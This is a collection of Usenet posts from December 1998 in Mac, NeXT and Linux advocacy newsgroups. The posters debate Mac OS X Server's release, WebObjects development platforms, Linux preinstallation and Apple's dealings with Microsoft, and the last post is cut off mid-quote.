Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 4 Dec 98 00:52:38 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28CE2DA-1A6E5@206.165.43.124>
References: <F3F0AI.p1@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
> Do you not understand my sentance? On several occasions you have
>forwarded posts I made to people in e-mail, garnered their responses and
>posted them back here. I don't like this, and I asked you to stop. You
>didn't. In fact you did it again two weeks ago.
>
I wasn't aware that it was against net-protocol to forward public posts to
people via e-mail.
> Oh well there is an easy solution.
>
> *plonk*
>
> I'm sure a LOT of people are happy to see this.
Indeed.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Fri, 4 Dec 1998 03:41:35 -0600
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <3657D44B.5648@earthlink.net> <stevehix-2211981202400001@192.168.1.10>
Organization: EarthLink Network, Inc.
Message-ID: <1dixckf.eg6yhpn6nukyN@sdn-ar-002txhousp268.dialsprint.net>
Steve Hix wrote:
> Go look at http://developer.apple.com/macosx/server...
>
> It was last updated 17 Nov.
Interesting. I wonder what was updated. I can't find any info on any
of the linked pages more current than 5/98 (not that I looked at all of
them). And when I hit the FAQ link, I got an empty page which is
"currently being revised." Hmm.
--
John Bauer
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net> <3666F2F5.11E9@aol.com> <747orc$eao$1@news.digifix.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <36677c1d.0@nnrp1.news.uk.psi.net>
Date: 4 Dec 98 06:07:25 GMT
sanguish@digifix.com (Scott Anguish) wrote:
>On 12/03/98, peasley wrote:
>>
>>Here's some idle speculation:
>>
>>YOu know I have always wondered if this isn't a case where Apple
>"knifed
>>the baby" to keep MS happy.
>>
>
> If this was the case, Avie would have said so in the trial.
Well, it could reasonably be inferred from what he did say at the trial about Rhapsody
being abandoned due to the impossibility of marketing a new operating system to compete
with Microsoft.
> There doesn't seem to have been much held back by Apple as far
>as the MS/DOJ trial goes.
I think that's a little naive - it's only natural to hold a few cards in reserve as
some sort of insurance policy - I don't think you can make a safe judgement about how
much dirt apple have on microsoft.
Perhaps the general climate has been such that Apple have been very careful not to annoy
Microsoft even without any direct threats from them.
From: root@anarchy.gov (-= G D T =-)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple - Star Wars connection
Organization: -= Ward Six Entertainment =- (see message for address)
Message-ID: <3668c64c.6006454@news1.bway.net>
References: <73o7eu$v2a$3@your.mother.com> <3661a6ae.484034@news1.bway.net> <MPG.10d04309fc72e7198969b@news.supernews.com>
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NNTP-Posting-Date: Fri, 04 Dec 1998 06:28:16 EDT
Date: Fri, 04 Dec 1998 11:28:15 GMT
|> Bill Gates is the Emperor and Steve Jobs has died and has now become
|> Darth Vader. It happened at that last Macworld when Emperor Gates
|> appeared on that huge screen behind Steve to officially announce
|> Steve's turning to the darkside.
|
|Funny thing about that. It's only recently that we have found out
|through the MS anti-trust trial that MS's "investment" in Apple was part
|of their settlement with Apple over stealing code from Quicktime. Not
|only that, but a larger, undisclosed sum of money was also given to Apple
|as part of the the settlement. I think that smug grin on Jobs' face at
|Macworld had more to do with *that* than him going to the Dark Side.
Yeah, but then he went on to say that the desktop war was over and
windoze won, etc. Besides, that money saved Apple's ass at the time,
M$ could have stalled much longer, caused all sorts of problems,
change around their code, make good the threat of cancelling Office
for the Mac and generally be a huge problem. So I think it was more
of a cease fire than Apple winning significantly. With the position
they're in, Apple now has to play nice with M$ for a while.
Ok, back to my Deathstar PC...
/ w A R D s I X e N T E R T A I N M E N T \
http://www.wardsix.com /\ toadeater@wardsix.com
From: bwyman@neaq.org (Bruce Wyman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: WO4 Announcement - NT Only Dev. Environment
Date: Fri, 04 Dec 1998 06:54:23 -0500
Organization: New England Aquarium
Message-ID: <bwyman-0412980654230001@bwyman.tiac.net>
References: <F3FF18.JBJ@prosoft.com>
In article <F3FF18.JBJ@prosoft.com>, lparkyn@prosoft.com wrote:
> Did anyone else notice that the only development environment for WO4 is on
> WinNT?
>
> Hopefully, this is temporary until MacOS X comes out.
I was at a WO4 seminar yesterday at the local Apple Market Center. You
*will* be able to develop on MacOS X Server.
------------+----------------------------------------------
Bruce Wyman | bwyman@neaq.org <http://www.neaq.org/>
bw@tiac.net | Webmaster, New England Aquarium
------------+---------------------------------------------+
"for whatever we lose (like a you or a me) |
it's always ourselves we find in the sea" -e.e. cummings |
From: "Karsten D. Wolf" <karsten.d.wolf@erziehung.uni-giessen.de>
Newsgroups: comp.sys.next.advocacy
Subject: Re: WO4 Announcement - NT Only Dev. Environment
Date: Fri, 04 Dec 1998 12:55:50 +0100
Organization: =?iso-8859-1?Q?Justus=2DLiebig=2DUniversit=E4t=20Gie=DFen?=
Message-ID: <3667CDC1.41792058@erziehung.uni-giessen.de>
References: <F3FF18.JBJ@prosoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Lyle Parkyn wrote:
>
> Did anyone else notice that the only development environment for WO4 is on
> WinNT?
>
> Hopefully, this is temporary until MacOS X comes out.
> --
Full development will be also possible on MacOS X. (I am glad to leave
that NT machine, I can tell You!)
-karsten
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: phm@a2e.de (PILCH Hartmut)
Subject: Re: Linux preinstalled laptops?
Organization: Asia-Europa Sprachendienste Pilch und Wang
Message-ID: <F3Ft00.147@a2e.de>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <3665A681.4D6D2AA5@columbus.crosswinds.net> <3666F06F.86D69BAF@digiscape.com> <UXG#48vH#GA.210@pet.hiwaay.net> <slrn76e16g.pub.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Date: Fri, 4 Dec 1998 10:55:11 GMT
>:Because Dell, like everyone else has totally automated routines for
>:installing software like Windows. I suspect if the Linux community wants to
>:have people like Dell preinstall without charging an arm and a leg they need
>:to look at how to make automated installation real simple.
>'Automated installation' on known hardware should be as trivial in
>Linux as in Windows.
The German chainstore ComTech sells Linux-preinstalled PCs. But they
only use an old SuSE version and advertise it only as a PC without Windows.
They use a stupid manual installation routine, nothing automated.
Therefore, they install as little stuff as possible, no X11, no KDE.
Making an auto-installation CD for them should be easy, but probably they
don't want it. One could try.
--
Hartmut Pilch
http://www.a2e.de/phm/
From: dcorn@pdq.net (David Corn)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Automated Microsoft OS installs Re: Linux preinstalled laptops?
Message-ID: <3667e5de.796662@news.pdq.net>
References: <slrn76e16g.pub.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <Dm#EkcwH#GA.195@pet.hiwaay.net> <timleeF3FF3u.M06@netcom.com>
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NNTP-Posting-Date: Fri, 04 Dec 1998 08:45:17 EDT
Organization: ISPNews http://ispnews.com
Date: Fri, 04 Dec 1998 13:45:23 GMT
We're doing this, using a variety of software (WinInstall and
WinBatch, to name two). Microsoft also has routines to do this,
called SysDiff, among others, for application software, and they do
have scripted unattended installs for NT as well.
DC
On Fri, 4 Dec 1998 05:55:05 GMT, timlee@netcom.com.DELETE-THIS.BIT
(Timothy J. Lee) wrote:
>"Nik Simpson" <ndsimpso@ingr.com> writes:
>|I can't speak for LINUX, but Microsoft provides a software toolkit for OEMs
>|that allows them to totally customize the installation procedure and do all
>|sorts of things.
>
>Why isn't this included with Microsoft OSes, or advertised as an
>option to the general public? Sun's Solaris comes with Jumpstart
>to automate Solaris installations; I understand that some Linux
>vendors are developing similar tools to be included with their
>distributions.
>
>Surely there must be some organizations that would like to be able
>to do a scripted, automated installation with configurations that
>match their networks, with automatic software installs to match
>the needs of their users, etc.? As it is, most end up doing all of
>the install and configuration work manually (even if the computers
>are preinstalled, site configuration and additional software still
>needs to be added -- and the popular InstallShield installs don't
>seem to be too friendly to being put in a batch file), or using
>disk cloning methods.
From: scholl@hercules.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 4 Dec 1998 09:41:06 -0500
Organization: University at Buffalo
Message-ID: <748sa2$t0o$1@hercules.acsu.buffalo.edu>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <3665A681.4D6D2AA5@columbus.crosswinds.net> <3666F06F.86D69BAF@digiscape.com>
NNTP-Posting-User: scholl
Chris Welch (chaotic42@digiscape.com) wrote:
: Joe Rice wrote:
: > Dell will preinstall linux for a price.
: How ironic. Normally free linux costs more to have installed than
: windows.
not free if you want support...
-ed
From: jpolaski@wwa.com (Jim Polaski)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <jpolaski-0412980846140001@d149-109.ce.mediaone.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <7471vr$75k$1@nnrp03.primenet.com>
Organization: Polaski P/D/C, 15 W. Hubbard, Chgo, IL
Date: Fri, 04 Dec 1998 08:46:14 -0600
NNTP-Posting-Date: Fri, 04 Dec 1998 08:46:13 CDT
In article <7471vr$75k$1@nnrp03.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Charles Swiger <chuck@codefab.com> wrote:
> : somebody@yaahoo.com wrote:
> : > http://www.macintouch.com/ says that OSX is going to be out by Jan.
> : >
> : > Is that possible?
>
> : Yes. The delay has largely been due to licensing/royalty issues and
> : figuring out when and how to market the product, and not because Apple
> : didn't have the technology to the point where they could ship it.
>
> I hope these reasons are not valid, because they amount to an "ineptitude
> defense":
>
> Apple has had two years to resolve licensing and royalty issues.
>
> Apple has had two years in total to consider how to position NeXT
> technologies, and I believe they've had a year since they announced a
> "server" positioning for Rhapsody.
>
> If Apple doesn't know the answers to these issues, they are hopeless.
=====
Ok John, but what if folks that Apple has to license technologies FROM,
don't go along and drag their feet. It is possible, not that I'm saying it
is, but some of htis stuff could be out of Apple's hands no matter how
"early" in the plans they started.
From: spagiola@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 04 Dec 1998 14:40:00 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <748s80$76d$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <7471vr$75k$1@nnrp03.primenet.com>
John Jensen <jjens@primenet.com> wrote:
> : Yes. The delay has largely been due to licensing/royalty issues and
> : figuring out when and how to market the product, and not because Apple
> : didn't have the technology to the point where they could ship it.
>
> I hope these reasons are not valid, because they amount to an "ineptitude
> defense":
> Apple has had two years to resolve licensing and royalty issues.
> Apple has had two years in total to consider how to position NeXT
> technologies, and I believe they've had a year since they announced a
> "server" positioning for Rhapsody.
> If Apple doesn't know the answers to these issues, they are hopeless.
In fairness, royalty issues obviously depend on at least one other party in
addition to Apple. So the problem may not be Apple's fault.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 15:06:54 GMT
Organization: Primenet (602)416-7000
Message-ID: <748tqe$n5d$1@nnrp03.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <7471vr$75k$1@nnrp03.primenet.com> <747ovr$eap$1@news.digifix.com> <747t4c$hj7$1@nnrp03.primenet.com>
<7482ac$hgm$1@news.digifix.com>
Scott Anguish <sanguish@digifix.com> wrote:
: On 12/03/98, John Jensen wrote:
: > In which case the ineptitude occured at the time of the NeXT
: > purchase, when Apple bought an OS burdened with an unworkable license.
: It doesn't appear that the license was a serious issue until
: long after the sale....
The problem was discussed in the thread "Will Apple release a free
OPENSTEP Runtime?" That thread started in 12/96 ... so I would say the
problem was known to the community at the time of the purchase:
http://www.dejanews.com/getdoc.xp?AN=206145465
I see that you contributed to that thread.
: >It would also mean that MacOS X Server is in big trouble.
: Not really. Apparently the current license issues have been
: pretty much resolved,
Well that's good news. I was concerned when you said yesterday: "Adobe
seems intent on killing DPS and PS quickly and without regard for any
collateral kill damage."
: and Mac OS X rids us of this noose. Future versions of Mac OS X
: Server would likely be just additional features on top of Mac OS X
: anyways (i.e. bundling of Unix tools, remote admin etc..)
I worry when you talk about this future Mac OS X (which beats the problem
using a non-PostScript drawing system). I wonder if that is a reason to
ship the current Server with PostScript or a reason to skip the current
Server release entirely.
John
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Fri, 04 Dec 1998 15:01:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <748tgd$8bl$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com> <F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com> <F3ECEw.AzA@T-FCN.Net> <746o4g$dol$1@nnrp1.dejanews.com> <F3Erws.Izr@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> spagiola@my-dejanews.com wrote:
> > It's perfectly OK for Apple to sell an OSX/WebObjects/Apache/other stuff
> > bundle designed to compete with NT Server, and to price it accordingly.
>
> Ok.
>
> > What would be really silly is making OSX Server available ONLY
> > in this way. After all, MS has WNT workstation, don't they?
>
> They do NOW, but this was not always the case and NT was only available
> as a server product. Thus again I don't see the problem.
My point was this: MS clearly makes money selling NT workstation, and makes
money selling NT server. As you yourself pointed out, the actual differences
betweent the two products are pretty trivial. Now Apple has a product which
could also potentially cover both these bases, and arguably do a better job at
doing both. So why should Apple limit itself to covering only one of them?
> > put it, a "wonderful power-user client system wrapped in a UI that even a
> > novice can use". By selling a plain-vanilla OSX Server, Apple would now
> > have
> > a complete product range, with OS8.5 competing with W95/98, plain-vanilla
>
> Yes, and they should also have 1.6GBps FireWire in every machine with 1G
> G4's, $60B in the bank and an installed base of 30%. However things take
> time. They've always said they will, it's not like this has been sprung on
> you out of the blue or something.
Now you're just being silly. My statement was "for zero or a trivial
additional cost, they can sell a product which is likely to generate them
money, and they can do so RIGHT NOW." This is is no way analogous to your
pie-in-the-sky wishes.
> No, OS-X competing with NT Workstation (now Windows 2000) and OX-X Server
> competing with NT Server. Maybe it's just me, but this seems to make
> perfect sense.
Except that OSX isn't here, and won't be here for some time. In the meantime,
they has something that is exactly the same as OSX will be, minus carbon. By
making that available at an affordable price now, they begin to build a user
base, and create a de facto beta test pool for the OS their future rides on.
The plan as you describe it makes perfect sense, but Apple has missed the
boat more than once reaching for the perfect solution sometime in the future.
But this would be even more stupid: it would be forgoing something that not
only does not replace, but is likely to actually help the future success of
the "perfect solution" when it gets here.
> > Well, some of us have been going on on this for some time now.
>
> Yes, "I don't wanna pay more than xxx for this product". Fair enough I
> suppose, but wrapping it up as above seems silly.
You have potential customers saying "we're very interested, but the price
must be right." You have several reasons to think that this might actually
help Apple in the long run. You've yet to point to a downside of what I'm
proposing. I'm afraid I don't see where the silliness lies (except in the
ludicrous argument you made above).
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 15:41:55 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <748vs3$rla@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <3666ECA0.664BDFF6@ericsson.com> <747a7q$u1v$1@nnrp1.dejanews.com> <3667666A.A1310D9B@ericsson.com>
On Thu, 03 Dec 1998 22:34:50 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>What, exactly, is the problem with porting YB to MkLinux?
Finite amount of resources.
Apple killed a number of products and projects in the past few years. They
did so, not because projects and products weren't useful; but so they can
narrow in on those things that are profitable.
Apple hasn't killed MkLinux, perhaps they are keeping this idea on hold
until such a time that they commit the proper resources to it.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 15:41:56 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <748vs4$rla@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net> <3666F2F5.11E9@aol.com> <747orc$eao$1@news.digifix.com> <36677c1d.0@nnrp1.news.uk.psi.net>
On 4 Dec 98 06:07:25 GMT,
Richard Frith-Macdonald <richard@brainstorm.co.uk.> wrote:
>>>YOu know I have always wondered if this isn't a case where Apple
>>"knifed
>>>the baby" to keep MS happy.
>> If this was the case, Avie would have said so in the trial.
>
>Well, it could reasonably be inferred from what he did say at the trial about Rhapsody
>being abandoned due to the impossibility of marketing a new operating system to compete
>with Microsoft.
I don't see this as being anywhere near "knifed the baby"
>> There doesn't seem to have been much held back by Apple as far
>>as the MS/DOJ trial goes.
>I think that's a little naive - it's only natural to hold a few cards in reserve as
>some sort of insurance policy - I don't think you can make a safe judgement about how
>much dirt apple have on microsoft.
I'm not a lawyer, but I would think that "holding back a few cards in reserve"
while being asked to testify under oath would be pretty close to obstruction of
justice. I don't see a lot of wiggle room between "we didn't think we could
compete with Microsoft" and "Microsoft told us to kill the product"
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 15:41:57 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <748vs5$rla@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net> <747bjs$a16$2@your.mother.com>
On Thu, 3 Dec 1998 16:30:35 -0800,
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
>Maury Markowitz wrote in message ...
>>> To run OpenStep applications on Intel boxes.
>> Then why not just get them to release the Intel version?
>(2) Linux's "house is in ascension" (or however the phrase goes). Linux
>has momentum, and Apple may have more success getting OpenStep in the
>hands of millions if it available for Linux than it would with its own
>UNIX-class OS on Intel. That in turn would keep developers happy.
I think Linux hype is going to turn into "OpenSource" hype and "the return
os Unix" hype in much the same way that the hype over Mosaic and Netscape
became hype over the Web in general. Considering the tone of recent articles
in Forbes, Time and other mainstream publications; I think this has already
started.
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 04 Dec 1998 09:56:59 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3668064B.B73675F@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <3666ECA0.664BDFF6@ericsson.com> <747a7q$u1v$1@nnrp1.dejanews.com> <3667666A.A1310D9B@ericsson.com> <748vs3$rla@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sal Denaro wrote:
> Finite amount of resources.
I'll just forget that you're introducing an irrelevant turn into a
conversation that hasn't, until now, involved you.
> Apple killed a number of products and projects in the past few years. They
> did so, not because projects and products weren't useful; but so they can
> narrow in on those things that are profitable.
Profitable. Profitable like YB, so far? Or profitable like Newton? Which
definition of profitable are we working with?
> Apple hasn't killed MkLinux, perhaps they are keeping this idea on hold
> until such a time that they commit the proper resources to it.
I doubt it. Until now the main advantage of MkLinux had been that it
supported Nubus machines. At this point it doesn't seem to be a very
competitive effort when compared with the monolithic Linux port. Apple
may hold MkLinux to hedge its bets on a Linux port, or (more likely),
just like everything else, Apple simply doesn't have the slightest idea
what to do with it.
MJP
--
Smoking kills. If you're killed, you've lost a very important part of
your life.
-- Brooke Shields
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
Message-ID: <F3G8Dz.FDG@T-FCN.Net>
Sender: news@T-FCN.Net
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Cc: todd@dev.null
Organization: needs one
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu>
<746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu>
<747bjp$a16$1@your.mother.com>
Mime-Version: 1.0
Date: Fri, 4 Dec 1998 16:27:35 GMT
In <747bjp$a16$1@your.mother.com> "Todd Heberlein (todd at NetSQ dot com)"
wrote:
> I don't know, but here are two guesses: (1) driver support (let someone
> else do it), and (2) Linux already has a lot of mind share, market
> share, and even newly found acceptance in corporate world (look as all
> the major database companies announcing their support for Linux)
> (OpenStep could piggyback off this momentum).
I think the later issue is a pretty important one, Apple could certainly
ride the wave there. Likewise I think the Linux market would like to have
this technology as well. I think Linux would be even better with YB, but
I'm not 100% that Apple is better off with Linux. It seems to be primarily
a mindset issue on Apple's part.
Maury
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: mazulauf@localhost.localdomain
Organization: needs one
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu>
<746l79$3ls$1@murdoch.acc.Virginia.EDU> <5PB92.2485$CY1.9921564@news.itd.umich.edu>
<F3Eqs1.IAv@T-FCN.Net> <F3F0Es.tz@T-FCN.Net>
<slrn76eufr.11t.mazulauf@grumpy.met.utah.edu>
Mime-Version: 1.0
Date: Fri, 4 Dec 1998 16:28:44 GMT
In <slrn76eufr.11t.mazulauf@grumpy.met.utah.edu>
mazulauf@localhost.localdomain wrote:
> I think it's at:
> http://www.cs.nmt.edu/~cort/papers/linuxppc-mm
Great, thanks.
> I haven't read it really, but on skimming it it looks like the speedups
> they've mentioned are only on a very specific benchmark. I'd like to
> see how that translates into the real world.
Well I think it's clear that changing the idler isn't going to make the
computer grind numbers 10 times faster, soooo...
Maury
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 4 Dec 1998 17:37:34 GMT
Organization: AOL http://www.aol.com
References: <7485c1$jrp$1@nnrp1.dejanews.com>
Message-ID: <19981204123734.25373.00000913@ng56.aol.com>
raxelbrof@my-dejanews.com said:
<<Just wondering - the thing about the Mac OS colour picker I find most usefull
is the "html" picker which can snap to browser safe colours - quite
conveniant for creating icons for websites.
Does the NeXT colour wheel have this ability? (I would hope so)>>
The NeXT Color wheel allows one to create customized color palettes which may
then be switched to at will.
Naturally there're such palettes available at the typical download sites.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X User Interface
Content-Type: text/plain; charset=us-ascii
Message-ID: <F3GBL1.HJ2@T-FCN.Net>
Sender: news@T-FCN.Net
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Cc: willadams@aol.com
Organization: needs one
References: <F3ELCL.FGx@T-FCN.Net> <19981203190426.01035.00001221@ng-ch1.aol.com>
Mime-Version: 1.0
Date: Fri, 4 Dec 1998 17:36:36 GMT
In <19981203190426.01035.00001221@ng-ch1.aol.com> WillAdams wrote:
> My apologies to you Maury. Please consider this a retraction of my
> previous statement.
Accepted, and mine to you for being so cranky.
Maury
From: ngroups@fizbin.com (Harry)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <ngroups-0412980941310001@192.168.100.102>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net>
Organization: Fizbin Consulting
Date: Fri, 04 Dec 1998 09:41:30 -0800
NNTP-Posting-Date: Fri, 04 Dec 1998 09:41:30 PDT
In article
<0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net>,
a1050pi@yahoo.com wrote:
> I guess what I want is Linux to have a newbie friendly GUI so M$ can
> drop dead next year. 8-)
Rumor has it that Apple will be releasing the Mac OSX APIs/GUI after the
release of Mac OS X server under the GPL (or something similar).
That would DEFINITELY be welcome by many, and it WOULD porvide Linux with
a consistent interface.
Harry
From: ngroups@fizbin.com (Harry)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <ngroups-0412980945500001@192.168.100.102>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <3666ECA0.664BDFF6@ericsson.com> <747a7q$u1v$1@nnrp1.dejanews.com> <3667666A.A1310D9B@ericsson.com> <748vs3$rla@news1.panix.com>
Organization: Fizbin Consulting
Date: Fri, 04 Dec 1998 09:45:50 -0800
NNTP-Posting-Date: Fri, 04 Dec 1998 09:45:50 PDT
In article <748vs3$rla@news1.panix.com>, sal@panix.com wrote:
> Apple killed a number of products and projects in the past few years. They
